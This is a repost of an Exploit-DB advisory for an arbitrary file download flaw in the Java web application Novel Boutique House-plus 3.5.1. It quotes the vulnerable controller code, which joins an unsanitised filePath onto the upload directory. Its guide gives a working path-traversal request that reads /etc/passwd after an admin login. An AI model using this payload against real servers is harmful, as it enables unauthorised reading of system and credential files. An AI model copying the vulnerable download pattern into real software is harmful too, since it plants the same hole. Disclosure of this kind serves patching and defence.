Novel Boutique House-plus 3.5.1 – Arbitrary File Download - 体验盒子

作者： tuyiqiang

日期： 2021-03-29

类别：

webapps

平台：

java

来源：https://www.exploit-db.com/exploits/49724/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

# Exploit Title: Novel Boutique House-plus 3.5.1 - Arbitrary File Download

# Date: 27/03/2021

# Exploit Author: tuyiqiang

# Vendor Homepage: https://xiongxyang.gitee.io/

# Software Link: https://gitee.com/novel_dev_team/novel-plus,https://github.com/201206030/novel-plus

# Version: all

# Tested on: linux

Vulnerable code:

com/java2nb/common/controller/FileController.java

@RequestMapping(value = "/download")

public void fileDownload(String filePath,String fileName, HttpServletResponse resp) throws Exception {

String realFilePath = jnConfig.getUploadPath() + filePath;

InputStream in = new FileInputStream(realFilePath);

fileName = URLEncoder.encode(fileName, "UTF-8");

resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);

resp.setContentLength(in.available());

OutputStream out = resp.getOutputStream();

byte[] b = new byte[1024];

int len = 0;

while ((len = in.read(b)) != -1) {

out.write(b, 0, len);

}

out.flush();

out.close();

in.close();

}

Guide:

1. Log in to background management

2. http://xxxx/common/sysFile/download?filePath=../../../../../../../../../../../../../../../../../etc/passwd&fileName=passwd